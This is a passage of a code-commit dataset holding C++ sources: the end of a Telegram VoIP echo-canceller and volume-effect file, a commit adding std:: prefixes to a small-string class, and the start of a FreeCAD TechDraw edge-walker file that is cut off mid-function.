this));\n\tbufferFarendThread->Start();\n\n#else\n\tthis->enableAEC=this->enableAGC=enableAGC=this->enableNS=enableNS=false;\n\tisOn=true;\n#endif\n}\n\nEchoCanceller::~EchoCanceller(){\n#ifndef TGVOIP_NO_DSP\n\tdelete apm;\n\tdelete audioFrame;\n#endif\n}\n\nvoid EchoCanceller::Start(){\n\n}\n\nvoid EchoCanceller::Stop(){\n\n}\n\n\nvoid EchoCanceller::SpeakerOutCallback(unsigned char* data, size_t len){\n    if(len!=960*2 || !enableAEC || !isOn)\n\t\treturn;\n#ifndef TGVOIP_NO_DSP\n\tint16_t* buf=(int16_t*)farendBufferPool->Get();\n\tif(buf){\n\t\tmemcpy(buf, data, 960*2);\n\t\tfarendQueue->Put(buf);\n\t}\n#endif\n}\n\n#ifndef TGVOIP_NO_DSP\nvoid EchoCanceller::RunBufferFarendThread(){\n\twebrtc::AudioFrame frame;\n\tframe.num_channels_=1;\n\tframe.sample_rate_hz_=48000;\n\tframe.samples_per_channel_=480;\n\twhile(running){\n\t\tint16_t* samplesIn=farendQueue->GetBlocking();\n\t\tif(samplesIn){\n\t\t\tmemcpy(frame.mutable_data(), samplesIn, 480*2);\n\t\t\tapm->ProcessReverseStream(&frame);\n\t\t\tmemcpy(frame.mutable_data(), samplesIn+480, 480*2);\n\t\t\tapm->ProcessReverseStream(&frame);\n\t\t\tdidBufferFarend=true;\n\t\t\tfarendBufferPool->Reuse(reinterpret_cast<unsigned char*>(samplesIn));\n\t\t}\n\t}\n}\n#endif\n\nvoid EchoCanceller::Enable(bool enabled){\n\tisOn=enabled;\n}\n\nvoid EchoCanceller::ProcessInput(int16_t* inOut, size_t numSamples, bool& hasVoice){\n#ifndef TGVOIP_NO_DSP\n\tif(!isOn || (!enableAEC && !enableAGC && !enableNS)){\n\t\treturn;\n\t}\n\tint delay=audio::AudioInput::GetEstimatedDelay()+audio::AudioOutput::GetEstimatedDelay();\n\tassert(numSamples==960);\n\n\tmemcpy(audioFrame->mutable_data(), inOut, 480*2);\n\tif(enableAEC)\n    \tapm->set_stream_delay_ms(delay);\n\tapm->ProcessStream(audioFrame);\n\tif(enableVAD)\n    \thasVoice=apm->voice_detection()->stream_has_voice();\n\tmemcpy(inOut, audioFrame->data(), 480*2);\n\tmemcpy(audioFrame->mutable_data(), inOut+480, 480*2);\n\tif(enableAEC)\n    \tapm->set_stream_delay_ms(delay);\n\tapm->ProcessStream(audioFrame);\n\tif(enableVAD){\n    \thasVoice=hasVoice || apm->voice_detection()->stream_has_voice();\n\t}\n\tmemcpy(inOut+480, audioFrame->data(), 480*2);\n#endif\n}\n\nvoid EchoCanceller::SetAECStrength(int strength){\n#ifndef TGVOIP_NO_DSP\n\t\/*if(aec){\n#ifndef TGVOIP_USE_DESKTOP_DSP\n\t\tAecmConfig cfg;\n\t\tcfg.cngMode=AecmFalse;\n\t\tcfg.echoMode=(int16_t) strength;\n\t\tWebRtcAecm_set_config(aec, cfg);\n#endif\n\t}*\/\n#endif\n}\n\nvoid EchoCanceller::SetVoiceDetectionEnabled(bool enabled){\n\tenableVAD=enabled;\n#ifndef TGVOIP_NO_DSP\n\tapm->voice_detection()->Enable(enabled);\n#endif\n}\n\nusing namespace tgvoip::effects;\n\nAudioEffect::~AudioEffect(){\n\n}\n\nvoid AudioEffect::SetPassThrough(bool passThrough){\n\tthis->passThrough=passThrough;\n}\n\nVolume::Volume(){\n\n}\n\nVolume::~Volume(){\n\n}\n\nvoid Volume::Process(int16_t* inOut, size_t numSamples){\n\tif(level==1.0f || passThrough){\n\t\treturn;\n\t}\n\tfor(size_t i=0;i<numSamples;i++){\n\t\tfloat sample=(float)inOut[i]*multiplier;\n\t\tif(sample>32767.0f)\n\t\t\tinOut[i]=INT16_MAX;\n\t\telse if(sample<-32768.0f)\n\t\t\tinOut[i]=INT16_MIN;\n\t\telse\n\t\t\tinOut[i]=(int16_t)sample;\n\t}\n}\n\nvoid Volume::SetLevel(float level){\n\tthis->level=level;\n\tfloat db;\n\tif(level<1.0f)\n\t\tdb=-50.0f*(1.0f-level);\n\telse if(level>1.0f && level<=2.0f)\n\t\tdb=10.0f*(level-1.0f);\n\telse\n\t\tdb=0.0f;\n\tmultiplier=expf(db\/20.0f * logf(10.0f));\n}\n\nfloat Volume::GetLevel(){\n\treturn level;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************\nCopyright (c) 2016-2017 Grégoire Angerand\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n**********************************\/\n#include \"String.h\"\n#include \"Vector.h\"\n#include <y\/test\/test.h>\n#include <memory>\n#include <cstring>\n\nnamespace y {\nnamespace core {\n\/\/ --------------------------------------------------- LONG ---------------------------------------------------\n\nString::LongData::LongData() : data(nullptr), capacity(0), length(0) {\n}\n\nString::LongData::LongData(const LongData& l) : LongData(l.data, l.length) {\n}\n\nString::LongData::LongData(LongData&& l) : data(l.data), capacity(l.capacity), length(l.length) {\n\tl.data = nullptr;\n}\n\nString::LongData::LongData(const char* str, usize len) : LongData(str, compute_capacity(len), len) {\n}\n\nString::LongData::LongData(const char* str, usize cap, usize len) : data(alloc_long(cap)), capacity(cap), length(len) {\n\tif(str) {\n\t\tmemcpy(data, str, len);\n\t}\n\t*(data + len) = 0;\n}\n\n\n\/\/ --------------------------------------------------- SHORT ---------------------------------------------------\n\nString::ShortData::ShortData() : _data{0}, _length(0) {\n}\n\nString::ShortData::ShortData(const ShortData& s) {\n\tmemcpy(this, &s, sizeof(ShortData));\n}\n\nString::ShortData::ShortData(const char* str, usize len) : _length(len) {\n\tif(str) {\n\t\tmemcpy(_data, str, len);\n\t}\n\t*(_data + len) = 0;\n}\n\n\/\/ --------------------------------------------------- ALLOC ---------------------------------------------------\n\nchar* String::alloc_long(usize capacity) {\n\treturn new char[capacity + 1];\n}\n\nusize String::compute_capacity(usize len) {\n\treturn DefaultVectorResizePolicy().ideal_capacity(len);\n}\n\nvoid String::free_long(LongData& d) {\n\tdelete[] d.data;\n}\n\n\/\/ --------------------------------------------------- STRING ---------------------------------------------------\n\nString::String() : _s(ShortData()) {\n}\n\nString::String(const String& str) {\n\tif(str.is_long()) {\n\t\tnew(&_l) LongData(str._l);\n\t} else {\n\t\tnew(&_s) ShortData(str._s);\n\t}\n}\n\nString::String(String&& str) {\n\tif(str.is_long()) {\n\t\tnew(&_l) LongData(std::move(str._l));\n\t} else {\n\t\tnew(&_s) ShortData(str._s);\n\t}\n}\n\nString::String(const char* str) : String(str, strlen(str)) {\n}\n\nString::String(const char* str, usize len) {\n\tif(len > max_short_size) {\n\t\tnew(&_l) LongData(str, len);\n\t} else {\n\t\tnew(&_s) ShortData(str, len);\n\t}\n}\n\nString::String(const char* beg, const char* end) : String(beg, usize(end - beg)) {\n}\n\nString::~String() {\n\tif(is_long()) {\n\t\tfree_long(_l);\n\t}\n}\n\nString String::from_owned(Owner<char*> owned) {\n\tusize len = strlen(owned);\n\tString str;\n\tstr._l.length = len;\n\tstr._l.capacity = len;\n\tstr._l.data = owned;\n\treturn str;\n}\n\nusize String::size() const {\n\treturn is_long() ? _l.length : _s._length;\n}\n\nusize String::capacity() const {\n\treturn is_long() ? _l.capacity : max_short_size;\n}\n\nbool String::is_empty() const {\n\treturn !size();\n}\n\nbool String::is_long() const {\n\treturn _l.length._is_long;\n}\n\nvoid String::clear() {\n\tif(is_long()) {\n\t\tfree_long(_l);\n\t}\n\tnew(&_s) ShortData();\n}\n\nchar* String::data() {\n\treturn is_long() ? _l.data : _s._data;\n}\n\nconst char* String::data() const {\n\treturn is_long() ? _l.data : _s._data;\n}\n\nString::iterator String::find(const String& str) {\n\treturn const_cast<iterator>(const_this()->find(str));\n}\n\nString::const_iterator String::find(const String& str) const {\n\tconst_iterator found = strstr(data(), str);\n\treturn found ? found : end();\n}\n\nString String::sub_str(usize beg) const {\n\treturn beg < size() ? String(begin() + beg) : String();\n}\n\nString String::sub_str(usize beg, usize len) const {\n\tusize si = size();\n\tbeg = std::min(beg, si);\n\treturn String(begin() + beg, std::min(len, si - beg));\n}\n\nString::operator const char*() const {\n\treturn data();\n}\n\nString::operator char*() {\n\treturn data();\n}\n\nvoid String::swap(String& str) {\n\tu8 str_buffer[sizeof(ShortData)];\n\tmemcpy(str_buffer, &str._s, sizeof(ShortData));\n\tmemcpy(&str._s, &_s, sizeof(ShortData));\n\tmemcpy(&_s, str_buffer, sizeof(ShortData));\n}\n\nString& String::operator=(const String& str) {\n\tif(&str != this) {\n\t\tif(is_long()) {\n\t\t\tfree_long(_l);\n\t\t}\n\t\tif(str.is_long()) {\n\t\t\tnew(&_l) LongData(str._l);\n\t\t} else {\n\t\t\tnew(&_s) ShortData(str._s);\n\t\t}\n\t}\n\treturn *this;\n}\n\nString& String::operator=(String&& str) {\n\tswap(str);\n\treturn *this;\n}\n\nString& String::operator+=(const String& str) {\n\tusize self_size = size();\n\tusize other_size = str.size();\n\tusize total_size = self_size + other_size;\n\tchar* self_data = data();\n\tconst char* other_data = str.data();\n\n\tif(capacity() >= total_size) {\n\t\t\/\/ in place\n\t\tmemcpy(self_data + self_size, other_data, other_size);\n\t\tif(is_long()) {\n\t\t\tself_data[_l.length = total_size] = 0;\n\t\t} else {\n\t\t\tself_data[_s._length = total_size] = 0;\n\t\t}\n\t} else {\n\t\tLongData new_dat(nullptr, total_size);\n\t\tmemcpy(new_dat.data, self_data, self_size);\n\t\tmemcpy(new_dat.data + self_size, other_data, other_size);\n\t\tnew_dat.data[total_size] = 0;\n\n\t\tif(is_long()) {\n\t\t\tfree_long(_l);\n\t\t}\n\t\tmemcpy(&_l, &new_dat, sizeof(LongData));\n\t}\n\treturn *this;\n}\n\nchar& String::operator[](usize i) {\n\treturn data()[i];\n}\n\nchar String::operator[](usize i) const {\n\treturn data()[i];\n}\n\nbool String::operator==(const String& str) const {\n\treturn size() == str.size() ? std::equal(begin(), end(), str.begin(), str.end()) : false;\n}\n\nbool String::operator!=(const String& str) const {\n\treturn !operator==(str);\n}\n\nbool String::operator<(const String& str) const {\n\t\/\/return strcmp(data(), str.data()) < 0;\n\treturn std::lexicographical_compare(begin(), end(), str.begin(), str.end());\n}\n\n\n\/*static usize utf8_len(char c) {\n\tif(c & 0x80) {\n\t\tusize len = 0;\n\t\tfor(; c & 0x80; c <<= 1) {\n\t\t\t++len;\n\t\t}\n\t\treturn len;\n\t}\n\treturn 1;\n}\n\nVector<u32> String::to_unicode() const {\n\tusize si = size();\n\tconst char* dat = data();\n\tauto utf8 = vector_with_capacity<u32>((si * 2) \/ 3);\n\twhile(dat < end()) {\n\t\tusize len = utf8_len(*dat);\n\t\t\/\/u32 buffer = c & (0xFF >> len);\n\t\tif(len == 1) {\n\t\t\tutf8 << u32(*dat++);\n\t\t} else {\n\t\t\tu32 buffer = *dat++ & (0xFF >> len);\n\t\t\tfor(usize l = 1; l < len; ++l) {\n\t\t\t\tbuffer = (buffer << 6) | (*dat++ & 0x3F);\n\t\t\t}\n\t\t\tutf8 << buffer;\n\t\t}\n\t}\n\treturn utf8;\n}*\/\n\n}\n}\n\n\n<commit_msg>added a bunch of missing std::<commit_after>\/*******************************\nCopyright (c) 2016-2017 Grégoire Angerand\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n**********************************\/\n#include \"String.h\"\n#include \"Vector.h\"\n#include <y\/test\/test.h>\n#include <memory>\n#include <cstring>\n\nnamespace y {\nnamespace core {\n\/\/ --------------------------------------------------- LONG ---------------------------------------------------\n\nString::LongData::LongData() : data(nullptr), capacity(0), length(0) {\n}\n\nString::LongData::LongData(const LongData& l) : LongData(l.data, l.length) {\n}\n\nString::LongData::LongData(LongData&& l) : data(l.data), capacity(l.capacity), length(l.length) {\n\tl.data = nullptr;\n}\n\nString::LongData::LongData(const char* str, usize len) : LongData(str, compute_capacity(len), len) {\n}\n\nString::LongData::LongData(const char* str, usize cap, usize len) : data(alloc_long(cap)), capacity(cap), length(len) {\n\tif(str) {\n\t\tstd::memcpy(data, str, len);\n\t}\n\t*(data + len) = 0;\n}\n\n\n\/\/ --------------------------------------------------- SHORT ---------------------------------------------------\n\nString::ShortData::ShortData() : _data{0}, _length(0) {\n}\n\nString::ShortData::ShortData(const ShortData& s) {\n\tstd::memcpy(this, &s, sizeof(ShortData));\n}\n\nString::ShortData::ShortData(const char* str, usize len) : _length(len) {\n\tif(str) {\n\t\tstd::memcpy(_data, str, len);\n\t}\n\t*(_data + len) = 0;\n}\n\n\/\/ --------------------------------------------------- ALLOC ---------------------------------------------------\n\nchar* String::alloc_long(usize capacity) {\n\treturn new char[capacity + 1];\n}\n\nusize String::compute_capacity(usize len) {\n\treturn DefaultVectorResizePolicy().ideal_capacity(len);\n}\n\nvoid String::free_long(LongData& d) {\n\tdelete[] d.data;\n}\n\n\/\/ --------------------------------------------------- STRING ---------------------------------------------------\n\nString::String() : _s(ShortData()) {\n}\n\nString::String(const String& str) {\n\tif(str.is_long()) {\n\t\tnew(&_l) LongData(str._l);\n\t} else {\n\t\tnew(&_s) ShortData(str._s);\n\t}\n}\n\nString::String(String&& str) {\n\tif(str.is_long()) {\n\t\tnew(&_l) LongData(std::move(str._l));\n\t} else {\n\t\tnew(&_s) ShortData(str._s);\n\t}\n}\n\nString::String(const char* str) : String(str, strlen(str)) {\n}\n\nString::String(const char* str, usize len) {\n\tif(len > max_short_size) {\n\t\tnew(&_l) LongData(str, len);\n\t} else {\n\t\tnew(&_s) ShortData(str, len);\n\t}\n}\n\nString::String(const char* beg, const char* end) : String(beg, usize(end - beg)) {\n}\n\nString::~String() {\n\tif(is_long()) {\n\t\tfree_long(_l);\n\t}\n}\n\nString String::from_owned(Owner<char*> owned) {\n\tusize len = strlen(owned);\n\tString str;\n\tstr._l.length = len;\n\tstr._l.capacity = len;\n\tstr._l.data = owned;\n\treturn str;\n}\n\nusize String::size() const {\n\treturn is_long() ? _l.length : _s._length;\n}\n\nusize String::capacity() const {\n\treturn is_long() ? _l.capacity : max_short_size;\n}\n\nbool String::is_empty() const {\n\treturn !size();\n}\n\nbool String::is_long() const {\n\treturn _l.length._is_long;\n}\n\nvoid String::clear() {\n\tif(is_long()) {\n\t\tfree_long(_l);\n\t}\n\tnew(&_s) ShortData();\n}\n\nchar* String::data() {\n\treturn is_long() ? _l.data : _s._data;\n}\n\nconst char* String::data() const {\n\treturn is_long() ? _l.data : _s._data;\n}\n\nString::iterator String::find(const String& str) {\n\treturn const_cast<iterator>(const_this()->find(str));\n}\n\nString::const_iterator String::find(const String& str) const {\n\tconst_iterator found = std::strstr(data(), str);\n\treturn found ? found : end();\n}\n\nString String::sub_str(usize beg) const {\n\treturn beg < size() ? String(begin() + beg) : String();\n}\n\nString String::sub_str(usize beg, usize len) const {\n\tusize si = size();\n\tbeg = std::min(beg, si);\n\treturn String(begin() + beg, std::min(len, si - beg));\n}\n\nString::operator const char*() const {\n\treturn data();\n}\n\nString::operator char*() {\n\treturn data();\n}\n\nvoid String::swap(String& str) {\n\tu8 str_buffer[sizeof(ShortData)];\n\tstd::memcpy(str_buffer, &str._s, sizeof(ShortData));\n\tstd::memcpy(&str._s, &_s, sizeof(ShortData));\n\tstd::memcpy(&_s, str_buffer, sizeof(ShortData));\n}\n\nString& String::operator=(const String& str) {\n\tif(&str != this) {\n\t\tif(is_long()) {\n\t\t\tfree_long(_l);\n\t\t}\n\t\tif(str.is_long()) {\n\t\t\tnew(&_l) LongData(str._l);\n\t\t} else {\n\t\t\tnew(&_s) ShortData(str._s);\n\t\t}\n\t}\n\treturn *this;\n}\n\nString& String::operator=(String&& str) {\n\tswap(str);\n\treturn *this;\n}\n\nString& String::operator+=(const String& str) {\n\tusize self_size = size();\n\tusize other_size = str.size();\n\tusize total_size = self_size + other_size;\n\tchar* self_data = data();\n\tconst char* other_data = str.data();\n\n\tif(capacity() >= total_size) {\n\t\t\/\/ in place\n\t\tstd::memcpy(self_data + self_size, other_data, other_size);\n\t\tif(is_long()) {\n\t\t\tself_data[_l.length = total_size] = 0;\n\t\t} else {\n\t\t\tself_data[_s._length = total_size] = 0;\n\t\t}\n\t} else {\n\t\tLongData new_dat(nullptr, total_size);\n\t\tstd::memcpy(new_dat.data, self_data, self_size);\n\t\tstd::memcpy(new_dat.data + self_size, other_data, other_size);\n\t\tnew_dat.data[total_size] = 0;\n\n\t\tif(is_long()) {\n\t\t\tfree_long(_l);\n\t\t}\n\t\tstd::memcpy(&_l, &new_dat, sizeof(LongData));\n\t}\n\treturn *this;\n}\n\nchar& String::operator[](usize i) {\n\treturn data()[i];\n}\n\nchar String::operator[](usize i) const {\n\treturn data()[i];\n}\n\nbool String::operator==(const String& str) const {\n\treturn size() == str.size() ? std::equal(begin(), end(), str.begin(), str.end()) : false;\n}\n\nbool String::operator!=(const String& str) const {\n\treturn !operator==(str);\n}\n\nbool String::operator<(const String& str) const {\n\t\/\/return strcmp(data(), str.data()) < 0;\n\treturn std::lexicographical_compare(begin(), end(), str.begin(), str.end());\n}\n\n\n\/*static usize utf8_len(char c) {\n\tif(c & 0x80) {\n\t\tusize len = 0;\n\t\tfor(; c & 0x80; c <<= 1) {\n\t\t\t++len;\n\t\t}\n\t\treturn len;\n\t}\n\treturn 1;\n}\n\nVector<u32> String::to_unicode() const {\n\tusize si = size();\n\tconst char* dat = data();\n\tauto utf8 = vector_with_capacity<u32>((si * 2) \/ 3);\n\twhile(dat < end()) {\n\t\tusize len = utf8_len(*dat);\n\t\t\/\/u32 buffer = c & (0xFF >> len);\n\t\tif(len == 1) {\n\t\t\tutf8 << u32(*dat++);\n\t\t} else {\n\t\t\tu32 buffer = *dat++ & (0xFF >> len);\n\t\t\tfor(usize l = 1; l < len; ++l) {\n\t\t\t\tbuffer = (buffer << 6) | (*dat++ & 0x3F);\n\t\t\t}\n\t\t\tutf8 << buffer;\n\t\t}\n\t}\n\treturn utf8;\n}*\/\n\n}\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n *   Copyright (c) 2016 Wandererfan <wandererfan@gmail.com>                *\n *                                                                         *\n *   This file is part of the FreeCAD CAx development system.              *\n *                                                                         *\n *   This library is free software; you can redistribute it and\/or         *\n *   modify it under the terms of the GNU Library General Public           *\n *   License as published by the Free Software Foundation; either          *\n *   version 2 of the License, or (at your option) any later version.      *\n *                                                                         *\n *   This library  is distributed in the hope that it will be useful,      *\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\n *   GNU Library General Public License for more details.                  *\n *                                                                         *\n *   You should have received a copy of the GNU Library General Public     *\n *   License along with this library; see the file COPYING.LIB. If not,    *\n *   write to the Free Software Foundation, Inc., 59 Temple Place,         *\n *   Suite 330, Boston, MA  02111-1307, USA                                *\n *                                                                         *\n ***************************************************************************\/\n\/*                                                                         *\n * Some material based on Boost sample code                                *\/\n\/\/ Distributed under the Boost Software License, Version 1.0. (See\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/**************************************************************************\n\n\n#include \"PreCompiled.h\"\n#ifndef _PreComp_\n#include <BRepBuilderAPI_MakeWire.hxx>\n#include <BRepBndLib.hxx>\n#include <Bnd_Box.hxx>\n#include <ShapeFix_ShapeTolerance.hxx>\n#include <ShapeExtend_WireData.hxx>\n#include <ShapeFix_Wire.hxx>\n#include <TopExp.hxx>\n#include <TopExp_Explorer.hxx>\n#include <BRepBuilderAPI_MakeFace.hxx>\n#include <GProp_GProps.hxx>\n#include <BRepGProp.hxx>\n\n#endif\n\n#include <Base\/Console.h>\n\n#include \"DrawUtil.h\"\n#include \"EdgeWalker.h\"\n\nusing namespace TechDraw;\nusing namespace boost;\n\n\/\/*******************************************************\n\/\/* edgeVisior methods\n\/\/*******************************************************\ntemplate <typename Edge>\nvoid edgeVisitor::next_edge(Edge e)\n{\n    graph_traits<graph>::vertex_descriptor s = source(e,m_g);\n    graph_traits<graph>::vertex_descriptor t = target(e,m_g);\n    WalkerEdge we;\n    we.v1 = s;\n    we.v2 = t;\n    we.idx = get(edge_index,m_g,e);\n    wireEdges.push_back(we);\n}\n\nvoid edgeVisitor::begin_face()\n{\n    wireEdges.clear();\n}\n\nvoid edgeVisitor::end_face()\n{\n    graphWires.push_back(wireEdges);\n}\n\nTechDraw::ewWireList edgeVisitor::getResult(void)\n{\n    return graphWires;\n}\n\nvoid edgeVisitor::setGraph(TechDraw::graph& g)\n{\n    m_g = g;\n}\n\n\/\/*******************************************************\n\/\/* EdgeWalker\n\/\/*******************************************************\n\nEdgeWalker::EdgeWalker()\n{\n}\n\nEdgeWalker::~EdgeWalker()\n{\n}\n\nbool EdgeWalker::loadEdges(std::vector<TechDraw::WalkerEdge> edges)\n{\n    for (auto e: edges) {\n        add_edge(e.v1,e.v2,m_g);\n    }\n    return true;\n}\n\nbool EdgeWalker::loadEdges(std::vector<TopoDS_Edge> edges)\n{\n    std::vector<TopoDS_Vertex> verts = makeUniqueVList(edges);\n    setSize(verts.size());\n    std::vector<WalkerEdge>  we  = makeWalkerEdges(edges, verts);\n    saveInEdges = edges;\n\n    return loadEdges(we);\n}\nbool EdgeWalker::setSize(int size)\n{\n    m_g.clear();\n    for (int i = 0; i < size; i++) {\n        boost::adjacency_list<>::vertex_descriptor vd = boost::add_vertex(m_g);\n    }\n    return true;\n}\n\nbool EdgeWalker::perform()\n{\n    \/\/ Initialize the interior edge index\n    \/\/property<edge_index_t, int>\n    property_map<TechDraw::graph, edge_index_t>::type e_index = get(edge_index, m_g);\n    graph_traits<TechDraw::graph>::edges_size_type edge_count = 0;\n    graph_traits<TechDraw::graph>::edge_iterator ei, ei_end;\n    for(boost::tie(ei, ei_end) = edges(m_g); ei != ei_end; ++ei)\n      put(e_index, *ei, edge_count++);\n\n    \/\/ Test for planarity - we know it is planar, we just want to\n    \/\/ compute the planar embedding as a side-effect\n    typedef std::vector< graph_traits<TechDraw::graph>::edge_descriptor > vec_t;\n    std::vector<vec_t> embedding(num_vertices(m_g));\n    boyer_myrvold_planarity_test(boyer_myrvold_params::graph = m_g,\n                                 boyer_myrvold_params::embedding = &embedding[0]);\n\n    m_eV.setGraph(m_g);\n    planar_face_traversal(m_g, &embedding[0], m_eV);\n\n    return true;\n}\n\newWireList EdgeWalker::getResult()\n{\n    ewWireList result = m_eV.getResult();\n    \/\/ result is a list of many wires each of which is a list of many WE\n    return result;\n}\n\nstd::vector<TopoDS_Wire> EdgeWalker::getResultWires()\n{\n    ewWireList result = m_eV.getResult();\n\n    std::vector<ewWire>::iterator iWire = result.wires.begin();     \/\/ a WE within [WE]\n    std::vector<TopoDS_Wire> fw;\n    for (;iWire != result.wires.end(); iWire++) {\n        std::vector<WalkerEdge>::iterator iEdge = (*iWire).wedges.begin();\n        std::vector<TopoDS_Edge> topoEdges;\n        for (;iEdge != (*iWire).wedges.end(); iEdge++) {\n            TopoDS_Edge e = saveInEdges.at((*iEdge).idx);\n            topoEdges.push_back(e);\n        }\n    TopoDS_Wire w = makeCleanWire(topoEdges);             \/\/make 1 clean wire from its edges\n    fw.push_back(w);\n    }\n    return fw;\n}\n\nstd::vector<TopoDS_Wire> EdgeWalker::getResultNoDups()\n{\n    ewWireList result = m_eV.getResult();\n    result = result.removeDuplicates();\n\n    std::vector<ewWire>::iterator iWire = result.wires.begin();\n    std::vector<TopoDS_Wire> fw;\n    for (;iWire != result.wires.end(); iWire++) {\n        std::vector<WalkerEdge>::iterator iEdge = (*iWire).wedges.begin();\n        std::vector<TopoDS_Edge> topoEdges;\n        for (;iEdge != (*iWire).wedges.end(); iEdge++) {\n            TopoDS_Edge e = saveInEdges.at((*iEdge).idx);\n            topoEdges.push_back(e);\n        }\n    TopoDS_Wire w = makeCleanWire(topoEdges);             \/\/make 1 clean wire from its edges\n    fw.push_back(w);\n    }\n    return fw;\n}\n\n\n\/\/! make a clean wire with sorted, oriented, connected, etc edges\nTopoDS_Wire EdgeWalker::makeCleanWire(std::vector<TopoDS_Edge> edges, double tol)\n{\n    TopoDS_Wire result;\n    BRepBuilderAPI_MakeWire mkWire;\n    ShapeFix_ShapeTolerance sTol;\n    Handle(ShapeExtend_WireData) wireData = new ShapeExtend_WireData();\n\n    for (auto e:edges) {\n        wireData->Add(e);\n    }\n\n    Handle(ShapeFix_Wire) fixer = new ShapeFix_Wire;\n    fixer->Load(wireData);\n    fixer->Perform();\n    fixer->FixReorder();\n    fixer->SetMaxTolerance(tol);\n    fixer->ClosedWireMode() = Standard_True;\n    fixer->FixConnected(Precision::Confusion());\n    fixer->FixClosed(Precision::Confusion());\n\n    for (int i = 1; i <= wireData->NbEdges(); i ++) {\n        TopoDS_Edge edge = fixer->WireData()->Edge(i);\n        sTol.SetTolerance(edge, tol, TopAbs_VERTEX);\n        mkWire.Add(edge);\n    }\n\n    result = mkWire.Wire();\n    return result;\n}\n\nstd::vector<TopoDS_Vertex> EdgeWalker:: makeUniqueVList(std::vector<TopoDS_Edge> edges)\n{\n    std::vector<TopoDS_Vertex> uniqueVert;\n    for(auto& e:edges) {\n        TopoDS_Vertex v1 = TopExp::FirstVertex(e);\n        TopoDS_Vertex v2 = TopExp::LastVertex(e);\n        bool addv1 = true;\n        bool addv2 = true;\n        for (auto v:uniqueVert) {\n            if (DrawUtil::isSamePoint(v,v1))\n                addv1 = false;\n            if (DrawUtil::isSamePoint(v,v2))\n                addv2 = false;\n        }\n        if (addv1)\n            uniqueVert.push_back(v1);\n        if (addv2)\n            uniqueVert.push_back(v2);\n    }\n    return uniqueVert;\n}\n\n\/\/!make WalkerEdges (unique Vertex index pairs) from edge list\nstd::vector<WalkerEdge> EdgeWalker::makeWalkerEdges(std::vector<TopoDS_Edge> edges,\n                                                      std::vector<TopoDS_Vertex> verts)\n{\n    std::vector<WalkerEdge> walkerEdges;\n    for (auto e:edges) {\n        TopoDS_Vertex ev1 = TopExp::FirstVertex(e);\n        TopoDS_Vertex ev2 = TopExp::LastVertex(e);\n        int v1dx = findUniqueVert(ev1, verts);\n        int v2dx = findUniqueVert(ev2, verts);\n        WalkerEdge we;\n        we.v1 = v1dx;\n        we.v2 = v2dx;\n        walkerEdges.push_back(we);\n    }\n    return walkerEdges;\n}\n\nint EdgeWalker::findUniqueVert(TopoDS_Vertex vx, std::vector<TopoDS_Vertex> &uniqueVert)\n{\n    int idx = 0;\n    int result = 0;\n    for(auto& v:uniqueVert) {                    \/\/we're always going to find vx, right?\n        if (DrawUtil::isSamePoint(v,vx)) {\n            result = idx;\n            break;\n        }\n        idx++;\n    }                                           \/\/if idx >= uniqueVert.size() TARFU\n    return result;\n}\n\n\/*static*\/ bool WalkerEdge::weCompare(WalkerEdge i, WalkerEdge j)\n{\n    return (i.idx < j.idx);\n}\n\nbool ewWire::isEqual(ewWire w2)\n{\n    bool result = true;\n    if (wedges.size() != w2.wedges.size()) {\n        result = false;\n    } else {\n        std::sort(wedges.begin(),wedges.end(),WalkerEdge::weCompare);\n        std::sort(w2.wedges.begin(),w2.wedges.end(),WalkerEdge::weCompare);\n        for (unsigned int i = 0; i < w2.wedges.size(); i ++) {\n            if (wedges.at(i).idx != w2.wedges.at(i).idx) {\n                result = false;\n                break;\n            }\n        }\n    }\n    return result;\n}\n\nvoid ewWire::push_back(WalkerEdge w)\n{\n    wedges.push_back(w);\n}\n\n\/\/check wirelist for wires that use the same set of edges, but maybe in a different order.\newWireList ewWireList::removeDuplicates()\n{\n    ewWireList result;\n    result.push_back(*(wires.begin()));                \/\/save the first ewWire\n    std::vector<ewWire>::iterator iWire = (wires.begin()) + 1;    \/\/starting with second\n    for (; iWire != wires.end(); iWire++) {\n        bool addToResult = true;\n        for (auto& w:result.wires) {\n            if ((*iWire).isEqual(w))  {             \/\/already in result?\n                addToResult = false;\n                break;\n            }\n        }\n        if (addToResult) {\n            result.push_back((*iWire));\n        